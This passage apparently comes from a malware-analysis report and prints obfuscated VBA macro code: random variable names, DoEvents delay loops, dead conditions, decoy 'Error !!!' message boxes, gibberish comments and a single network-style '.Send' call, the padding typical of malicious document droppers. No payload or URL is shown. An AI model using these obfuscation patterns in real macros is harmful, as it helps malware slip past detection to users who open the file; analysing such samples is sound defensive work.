раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For AlfDmysR = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next AlfDmysR 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("IIuQRXhv71") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("CaVTkUaX4563") = Len("GOrPUGyQ") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim vxupHaMF As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim CLbJWdHL As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For CLbJWdHL = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next CLbJWdHL 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер vxupHaMF = 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While vxupHaMF < 97 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim NnyjlyjX As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For NnyjlyjX = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next NnyjlyjX 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: vxupHaMF = vxupHaMF + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim daKwgXcW As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For daKwgXcW = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next daKwgXcW 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim EidJoDho As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For EidJoDho = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next EidJoDho 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim ijUublRx As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim OxvLLspP As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For OxvLLspP = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next OxvLLspP 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер ijUublRx = 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While ijUublRx < 66 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim AhYgrheX As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For AhYgrheX = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next AhYgrheX 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: ijUublRx = ijUublRx + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim GGklVtpW As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For GGklVtpW = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next GGklVtpW 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim UUnQmcpS As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For UUnQmcpS = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next UUnQmcpS 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер RNNVUWVLESY.Send "cdgdf" 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 513245 = 513245 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 8859 < 75 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim xQXrxhZq As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim OZWgwsff As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For OZWgwsff = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next OZWgwsff 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер xQXrxhZq = 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While xQXrxhZq < 27 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim fBWhgKHl As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For fBWhgKHl = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next fBWhgKHl 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: xQXrxhZq = xQXrxhZq + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim HQUlgpSS As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For HQUlgpSS = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next HQUlgpSS 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim moREIdNI As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For moREIdNI = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next moREIdNI 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("nVNqdyMM87") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("uwlXubsn5916") = Len("kMmligtC") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim PtsLVNId As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim xNjIvmGT As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For xNjIvmGT = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next xNjIvmGT 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер PtsLVNId = 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While PtsLVNId < 23 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim acgFtQqy As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For acgFtQqy = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next acgFtQqy 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: PtsLVNId = PtsLVNId + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim EpBXLFNL As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For EpBXLFNL = 0 To 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next EpBXLFNL 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim PlSCaYZV As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For PlSCaYZV = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next PlSCaYZV 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер …

Open this report in the interactive analyzer, or submit your own file for analysis.